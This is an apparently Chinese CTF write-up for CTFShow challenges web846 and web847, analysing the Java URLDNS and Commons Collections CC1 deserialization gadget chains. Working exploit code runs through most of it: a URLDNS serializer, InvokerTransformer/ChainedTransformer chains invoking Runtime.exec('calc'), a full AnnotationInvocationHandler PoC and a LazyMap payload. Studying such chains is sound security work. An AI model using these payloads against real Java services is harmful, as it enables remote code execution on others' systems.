web846-java反序列化之URLDNS
1.URLDNS源码分析
原理:
1
|
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.
|
所以先追踪java.util.HashMap
的定义,直接到Hashmap.class,搜索readObject发现了一个重要的方法putVal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取 threshold(忽略)、loadfactor 和其他隐藏属性
s.defaultReadObject();
reinitialize(); // 重新初始化 HashMap 的内部结构
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor); // 检查负载因子是否合法
s.readInt(); // 读取并忽略桶的数量(buckets)
int mappings = s.readInt(); // 读取映射的数量(即 HashMap 的大小)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings); // 检查映射数量是否合法
else if (mappings > 0) { // 如果有映射(mappings>0),则进行初始化
// 只在负载因子在 0.25~4.0 范围内时,才用给定的负载因子计算容量
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc)); // 计算 table 的容量
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // 计算阈值
// 检查反序列化的数组类型是否安全
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; // 创建新的 table
table = tab;
// 读取每一个 key 和 value,并放入 HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取 key
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取 value
putVal(hash(key), key, value, false, false); // 放入 HashMap
}
}
}
|
putVal会依次读取每个 key 和 value,并调用 putVal 方法插入到 HashMap。追踪一些hash函数
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
这里又调用了key.hashcode
方法,而key此时是我们传入的 java.net.URL
对象,那么跟进到这个类的hashCode()方法看下(hashCode 方法是 java.net.URL 类中的方法。)
1
2
3
4
5
6
7
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
当hashCode字段等于-1时会进行handler.hashCode(this)
计算,所以需要跟进handler,有一个抽象类URLStreamHandler,继续跟进找到里面的hashCode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
protected int hashCode(URL u) {
int h = 0; // 初始化哈希值
// 处理协议部分(如 http、https、ftp 等)
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// 处理主机部分
InetAddress addr = getHostAddress(u); // 获取主机的 InetAddress 对象
if (addr != null) {
h += addr.hashCode(); // 如果能解析出 IP 地址,则用 IP 的 hashCode
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode(); // 否则用主机名的小写形式的 hashCode
}
// 处理文件部分(即路径和查询参数)
String file = u.getFile();
if (file != null)
h += file.hashCode();
// 处理端口部分
if (u.getPort() == -1)
h += getDefaultPort(); // 如果没有指定端口,用协议的默认端口
else
h += u.getPort(); // 否则用指定的端口
// 处理引用部分(即 # 后面的片段)
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h; // 返回最终的哈希值
}
|
这里有很多函数,看看其定义与作用:
- getProtocol()方法:其用来从url中获取协议的方法
文字总结一下路线就是
1
2
3
|
通过调用URL的hashCode方法,进而调用URLStreamHandler的hashCode方法,从而实现DNS查询,所以只需要我们令hashCOde的值为-1就可以让后半段链子实现,然后我们来看前半段
为了调用到URL中的hashCode方法,我们需要借助到hashMap类的readObject方法,因为在这个方法里面对key的hashCode进行了计算,如果key重写了hashCode方法,那么计算逻辑就是使用key的hashCode()方法,所以我们可以将URL对象作为key传入hashMap中,但是要想最终调用hashCode()方法,就必须让URL的hashCode的值为-1,因此我们可以利用反射在运行状态中操作URL的hashCode,从而实现DNS查询的目的。
|
所以总路线图就是
1
2
3
4
5
6
|
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
|
所以此题exp是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
public class URLDNS {
public static void serialize(Object obj) throws IOException{
// 创建字节输出流,用于存储序列化后的数据
ByteArrayOutputStream data =new ByteArrayOutputStream();
// 创建对象输出流,负责把对象写入字节流
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj); // 序列化对象
oos.flush();
oos.close();
// 用Base64编码输出序列化后的字节数据
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
// 1. 创建URL对象
URL url=new URL("http://68421999-595d-43ef-bbd8-f10c88147a01.challenge.ctf.show/");
// 2. 通过反射获取URL类的hashCode字段
Class c=url.getClass();
Field hashcode=c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
// hashcode.setAccessible(true);让 Java 反射机制可以访问 hashCode 这个字段,即使它是 private(私有的)或 protected(受保护的)。(Java 的安全机制默认不允许你直接访问私有字段)
// 3. 把hashCode字段设置为1(避免put时触发DNS请求)
hashcode.set(url,1);
//4. 创建了一个可以用 URL 做 key、用整数做 value 的 HashMap(哈希表/字典),变量名叫 h。
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
//是把 url 作为 key,1 作为 value,存入到 HashMap 里
h.put(url,1);
// 5. 再次把hashCode字段设置为-1(为后续反序列化时触发DNS请求做准备)
hashcode.set(url,-1);
// 6. 序列化HashMap并输出
serialize(h);
}
}
|

Java反序列化 — URLDNS利用链分析-先知社区
Java反序列化URLDNS利用链
CTFShow-Java反序列化篇(1) - N1Rvana’s Blog
web847-利用LazyMap.get方法
JAVA安全初探(三):CC1链全分析-先知社区
JAVA反序列化——CC1链 - Infernity’s Blog
这里本来是想用cursor,但是这个cursor不会自动将commons-collections.jar自动转换为java代码,所以想看源码要自己解压,十分不方便,其次就是这个用Maven的标准模式运行不了(需要在json配置依赖,比较麻烦),但是IJ可以直接运行,奇怪的是cursor可以用极简模式,IJ不行,IJ的格式要求比较严格,还有就是IJ要单独打开项目才可以运行,所以我综合这两个一起使用
1
2
3
|
public interface Transformer {
public Object transform(Object input);
}
|
这个类会接受一个对象进行操作,看看这个类的实现(引用)

1
2
3
4
5
|
InvokerTransformer这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。
更重要的是,这个类是Serializable的,可以被序列化。
所以这个类就是我们链子的终点。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); //可控的获取一个完整类的原型
Method method = cls.getMethod(iMethodName, iParamTypes); //可控的获取该类的某个特定方法
return method.invoke(input, iArgs); //调用该类的方法
//可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
|
看了这个transform方法的定义,这里的参数都是可控的,那么我们就可以利用这里来调用任意类的任意方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
//我们来回顾一下如何利用反射调用Runtime中的exec方法
// 获取当前 Java 虚拟机的 Runtime 实例
Runtime r = Runtime.getRuntime();
// 获取 r 这个对象的类对象(即 java.lang.Runtime 的 Class 实例)
Class c = r.getClass();
// 通过反射获取 Runtime 类中名为 "exec",参数类型为 String 的方法
Method m = c.getMethod("exec", String.class);
// 用反射调用 r(Runtime 实例)上的 exec 方法,参数是 "calc",等价于 r.exec("calc"); 作用是在 Windows 下弹出计算器
m.invoke(r, "calc");
//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);
//总结:比较上面两种方式,下面的transform相当于模拟了上诉的反射过程。
|
这就利用了 InvokerTransformer 通过反射调用 Runtime 的 exec 方法,实现弹出计算器(calc)。
1
2
3
4
5
6
7
8
9
10
11
12
|
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1_2 {
public static void mian(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);
}
}
|
这个类是我们链子的终点,接下来就接着往上找了,直到到达重写了readObject的类
右键查找方法的调用
这里直接看到我们需要的TransformedMap类下的checkSetValue方法
1
2
3
4
5
6
7
|
//我们找到该类的构造器
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer; //这里是可控的
}
|
1
2
3
4
5
|
//找到该类的checkSetValue方法
protected Object checkSetValue(Object value) { //接受一个对象类型的参数
return valueTransformer.transform(value);
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
}
|
这个构造函数是protected,所以得让它自己调用自己(本类调用),所以我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
1
2
3
|
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
|
1
2
3
4
5
6
7
|
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
|
我们调用这个方法,然后实例化这个类,然后接下来想办法调用checkSetValue方法
B.第二站(寻找合适的调用了checkSetValue的方法)

只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类

1
2
3
4
5
6
7
8
9
10
11
12
|
static class MapEntry extends AbstractMapEntryDecorator { //这里定义的是个副类MapEntry
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
|
Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法
而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) { //entrySet() 是 Java Map 接口中的一个方法。它的作用是:返回一个包含 Map 中所有“键值对(Entry)”的集合(Set)。通过遍历,当
entry.setValue(r); //调用setValue方法,并把对象r当作对象传入,就是把 Map 里所有的 value 都改成 r
}
}
}
|

C.第三站(追寻setValue)
接下来看看哪个方法调用了setValue。在AnnotationInvocationHandler这个类中看到有个调用了setValue方法的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //有Map.Entry
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //调用setValue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
|
我们发现AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。

再看这个构造函数
1
2
3
4
|
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
|
1
2
3
4
5
|
它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override
第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。
还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。
|
1
2
3
4
5
|
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true); //修改作用域,确保它可以访问
Object obj = constructorhandler.newInstance(Override.class,transformedmap); //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);
|
到这里链子基本上就完成,完整代码是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
/* for(Map.Entry entry:transformedmap.entrySet()) {
entry.setValue(r);
}*/
//反射获取AnnotationInvocationHandler类
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true); //修改作用域,确保它可以访问
Object obj = constructorhandler.newInstance(Override.class,transformedmap); //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);
unserialize("1.txt"); //反序列化
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|
但是没有弹出计算机,所以还有些问题没有解决,一起看看。
问题一:解决Runtime.getRuntime()对象不可被序列化
跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:
运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化的
我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:(单例模式 | 菜鸟教程)
1
2
3
4
5
|
Class rc=Class.*forName*("java.lang.Runtime"); //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法无无参方法,等价于Runtime r = Runtime.getRuntime();
Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc"); //实现命令执行
|
那么上述这样就可以实现序列化,那么现在我们利用transform方法实现上述代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Class rc=Class.*forName*("java.lang.Runtime");
/*Method getRuntime= rc.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rc.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/
//利用transform方法实现上述代码
Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//这里模拟获取invoke方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行
|
这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer
类,它也存在transform方法可以帮我们遍历InvokerTransformer
,并且调用transform方法:
1
2
3
4
5
6
7
|
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); //作为最开始的输入传入,其他的都是互相嵌套而已。
|

这个代码可以运行,但是替换到完整代码还是没跳计算机
问题二:解决关于两个if的问题

打断点并调试跟进,可以发现此时memberType为空,说明这AnnotationInvocationHandler中第一个if都没进去
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的:
而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,把Override换成Target:
但是发现还是空。来仔细分析一下代码
这里的memberValue其实是我们传入map的键值对。就是 map.put("key","value");
1
2
3
4
5
6
7
|
这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。
我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。
所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。
第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。
|
问题三:解决setValue里的value不可控的问题
其实Transformer里还有一个类,是叫ConstantTransformer
1
2
3
4
5
6
7
8
|
public ConstantTransformer(Object constantToReturn) { //接受一个对象
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant; //返回接受的对象
}
|
1
2
3
|
所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。
他同样是Transformer里的,所以我们可以一并写进Transformer数组里。
|
1
2
3
4
5
6
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
|
CC1链-利用LazyMap.get方法:
之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform
而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransformer.transform
调用链:

1
2
3
4
5
6
7
8
|
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key); //这里调了factory的transform
map.put(key, value);
return value;
}
return map.get(key);
}
|
也就是我们如果能控制factory
的值为ChainedTransformer
,就可以实现命令执行。factory
的赋值语句在LazpMap
的构造函数内部。
那又是谁调用了LazyMap的get()方法呢?
在AnnotationInvocationHandler
类的invoke()方法中有调用:
而这个AnnotationInvocationHandler
类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()
方法。
所以如果调用AnnotationInvocationHandler
类的readObject()
方法,该类的invoke()
方法也会触发。
因此,整个的调用链也就出来了:
1
2
3
4
5
|
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transfor
|
构造poc
从LazyMap的get()方法中可以看到,通过factory.transform(key)
方式调用了transform()
,所以根据CC1链的第一条,只需要控制factory
为chainedTransformer
即可。
factory
是在LazyMap的构造函数中赋值
而此构造函数不能直接调用,但是可以通过decorate()
方法获取到:
得到如下不完整的payload:
1
2
3
4
5
6
7
8
9
10
11
|
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
|